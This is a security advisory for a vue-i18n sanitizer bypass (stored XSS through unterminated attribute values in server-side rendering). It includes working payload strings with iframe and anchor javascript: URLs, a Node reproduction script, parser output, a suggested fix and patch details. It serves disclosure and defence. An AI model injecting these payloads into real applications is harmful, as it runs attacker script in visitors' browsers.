# GHSA-9QC3-H48F-7H96: sanitizeTranslatedHtml bypass via unterminated attribute values

- Database: GitHub
- Severity: CVSS 7.2 (High)
- Published: 2026-11-12
- Modified: 2026-12-03

## Tracked as

- [CVE-2026-144408](https://cve.now/CVE-2026-144408.md): Vue I18n: sanitizeTranslatedHtml bypass via unterminated attribute values

## Affected versions

- vue-i18n (npm): 9.14.5
- vue-i18n (npm): 10.0.8
- vue-i18n (npm): from 11.1.10, fixed in 11.4.19
- vue-i18n (npm): from 12.0.0-alpha.4, fixed in 12.0.0-alpha.10
- petite-vue-i18n (npm): 9.14.5
- petite-vue-i18n (npm): 10.0.8
- petite-vue-i18n (npm): from 11.1.10, fixed in 11.4.19
- petite-vue-i18n (npm): from 12.0.0-alpha.4, fixed in 12.0.0-alpha.10
- @intlify/core-base (npm): 9.14.5
- @intlify/core-base (npm): 10.0.8
- @intlify/core-base (npm): from 11.1.10, fixed in 11.4.19
- @intlify/core-base (npm): from 12.0.0-alpha.4, fixed in 12.0.0-alpha.10
- @intlify/core (npm): 9.14.5
- @intlify/core (npm): 10.0.8
- @intlify/core (npm): from 11.1.10, fixed in 11.4.19
- @intlify/core (npm): from 12.0.0-alpha.4, fixed in 12.0.0-alpha.10
- @intlify/vue-i18n-core (npm): 9.14.5
- @intlify/vue-i18n-core (npm): 10.0.8
- @intlify/vue-i18n-core (npm): from 11.1.10, fixed in 11.4.19
- @intlify/vue-i18n-core (npm): from 12.0.0-alpha.4, fixed in 12.0.0-alpha.10
- @intlify/shared (npm): 9.14.5
- @intlify/shared (npm): 10.0.8
- @intlify/shared (npm): from 11.1.10, fixed in 11.4.19
- @intlify/shared (npm): from 12.0.0-alpha.4, fixed in 12.0.0-alpha.10

## Description

## Summary

When `escapeParameter` is enabled (`escapeParameterHtml` in the Legacy API), Vue I18n passes the translated string through `sanitizeTranslatedHtml()`. The sanitizer disables `javascript:` URLs by rewriting them to `about:blank` — but only for attributes it can recognize. Both recognition passes require a well-formed attribute: the quoted pass needs the closing quote inside the message, and the unquoted pass rejects any value that starts with a quote character. A message that opens an attribute value and never closes it therefore keeps its `javascript:` URL verbatim.

The HTML tokenizer, however, does not stop at the end of the message. In server-side rendering the unterminated attribute value continues into the rest of the page and closes at the next `"` in the application's own markup; the element is then emitted with the attacker's `javascript:` URL as its `src`/`href`. A `//` inside the URL comments out the swallowed page content, so the executed script is exactly attacker-controlled. An `<iframe src="javascript:...">` runs without any user interaction, in the origin of the application.

## Affected component

- `sanitizeTranslatedHtml()` in `packages/shared/src/sanitize.ts`
  - quoted-attribute pass: `packages/shared/src/sanitize.ts` L139-148 (`/([\w:-]+)\s*=\s*"([^"]*)"/g` requires a closing quote)
  - unquoted-attribute pass: `packages/shared/src/sanitize.ts` L186-189 (value class `[^\s"'=<>`]+` cannot match a value starting with `"`)
- Sanitization is applied to every translation result when `escapeParameter` is on: `packages/core-base/src/translate.ts` L715-717.
- Verified against the released sanitizer at v11.4.18 (the version that fixed GHSA-jrxq-gc2q-9357) and master v12.0.0-alpha.9 (c528b8d) — the relevant regexes are identical in both.
- Affected packages: `vue-i18n`, `petite-vue-i18n`, `@intlify/core-base`, `@intlify/core`, `@intlify/vue-i18n-core`, `@intlify/shared` (same versions as GHSA-jrxq-gc2q-9357).
- Not affected: client-side-only rendering (`innerHTML` of a lone message string drops the unterminated tag token at EOF — verified with parse5), and `<i18n-t>` (does not render translations as HTML).

## PoC

Message (attacker-controlled translation, `escapeParameter: true`):

```
<iframe src="javascript:alert(document.domain)//
```

No closing quote. `sanitizeTranslatedHtml()` returns the string byte-identical (verified with an exact replica of the released code for v11.4.18 and v12.0.0-alpha.9):

```js
import { createSSRApp, h } from 'vue'
import { renderToString } from 'vue/server-renderer'
import { createI18n } from 'vue-i18n'

const i18n = createI18n({
  legacy: false,
  locale: 'en',
  escapeParameter: true,
  messages: { en: { hello: '<iframe src="javascript:alert(document.domain)//' } }
})

const app = createSSRApp({
  render: () => h('div', { innerHTML: i18n.global.t('hello') })
})
app.use(i18n)

console.log(await renderToString(app))
// the iframe start tag is still unterminated; the server continues writing the page
```

On the server, the rest of the page (footer, `class="..."`, scripts) follows. In a browser, the tokenizer keeps `src` open across the page boundary and closes it at the next `"`; the element is emitted with `src="javascript:alert(document.domain)//</div><footer class="` and the `//` comments out the swallowed content — `alert(document.domain)` runs in the application origin when the iframe loads, with no user interaction. Verified with parse5 (spec-compliant HTML parser):

```
PAGE PARSE: div -> {id="app"}
  iframe -> {src="javascript:alert(document.domain)//</div><foo", footer"=""}
```

The click-required variant is `<a href="javascript:alert(document.domain)//` (same mechanism, anchor emitted with the javascript: URL).

Note: the `srcdoc` and event-handler neutralizations are string-wide and DO apply to unterminated values (an unterminated `<iframe srcdoc="<img src=x onerror=alert(1)//` gets its inner `onerror` neutralized to `&#111;nerror`, and character references are not decoded in attribute names per WHATWG §13.2.5.32), so the javascript:-URL attribute is the surviving vector.

## Impact

Applications that enable `escapeParameter`, render translations as HTML on the server (v-html/innerHTML in SSR, Nuxt, pre-rendered pages), and contain message content that is not fully trusted (crowdsourced or stored translations) are affected. An attacker who can change such a message runs script in the origin of the application for every visitor of a page that shows the message (stored XSS), without any user interaction, despite the sanitizer — the exact impact model of GHSA-jrxq-gc2q-9357.

## Suggested CVSS 3.1

7.2 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N` (same vector as GHSA-jrxq-gc2q-9357)

## Suggested fix

Detect unterminated attribute values at the end of sanitization and neutralize them, e.g. escape the `<` of any start tag whose quoted attribute value is still open at end of string (`/<(?=[^<]*=[^"]*"(?:[^"]*)*$)/`-class detection, or track quote parity while scanning), so the element degrades to text exactly like the `<script>`/`<base>`/`<animate>`/`<set>` neutralization. A robust alternative is to tokenize with a spec-compliant HTML tokenizer and re-serialize instead of regex passes. Add test cases for unclosed `"` and `'` attribute values in `packages/shared/test/sanitize.test.ts` (58 existing cases, none cover unterminated values).

## Dedup

- Not any of the 9 published advisories. GHSA-jrxq-gc2q-9357 (SSR `<script>`), GHSA-473g-cvf6-mfxj (`xlink:href`/`animate`/`set`), GHSA-83rm-6c8r-g728 (`srcdoc`) are element/attribute-name specific; this is a value-shape (unterminated attribute) bypass with a distinct root cause.
- The private-security fork merges b27a50e (Nov 1 → 11.4.17) and a66ace0 (Nov 3 → 11.4.18) did not modify the quoted- or unquoted-attribute URL passes; their diffs are fully accounted for by the two published advisories.
- Distinct from GHSA-8rc2-428q-7ww3 (escaping gap in `escapeParams`), CVE-2025-53892 (pre-sanitizer era), and the prototype-pollution advisories.

## Patches

Fixed in `vue-i18n` 11.4.19 and 12.0.0-alpha.10, and in the same versions of `petite-vue-i18n`, `@intlify/core-base`, `@intlify/core`, `@intlify/vue-i18n-core` and `@intlify/shared`.

`sanitizeTranslatedHtml()` now reads tags and attributes with the rules of the HTML tokenizer, so that it agrees with browsers on where each attribute starts and ends, and it checks every attribute of every start tag. A tag, a comment, or an element like `<textarea>` that is not closed at the end of a translation is turned into text, so that it cannot take in the rest of the page when the HTML is rendered on the server.

v9 and v10 are not supported, and do not get a fix.

## Workarounds

Do not render translation messages from untrusted sources with `v-html`, even with `escapeParameter` enabled. Use [Component interpolation](https://vue-i18n.intlify.dev/guide/advanced/component.html) instead.

## References

- [GHSA-7356-3q55-jvxm](https://github.com/intlify/vue-i18n/security/advisories/GHSA-7356-3q55-jvxm), which is fixed by the same change
- [HTML Message - Using the escape parameter option](https://vue-i18n.intlify.dev/guide/essentials/syntax.html#using-the-escape-parameter-option)

## References

- https://github.com/intlify/vue-i18n/security/advisories/GHSA-9qc3-h48f-7h96

Page: https://cve.now/GHSA-9QC3-H48F-7H96

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
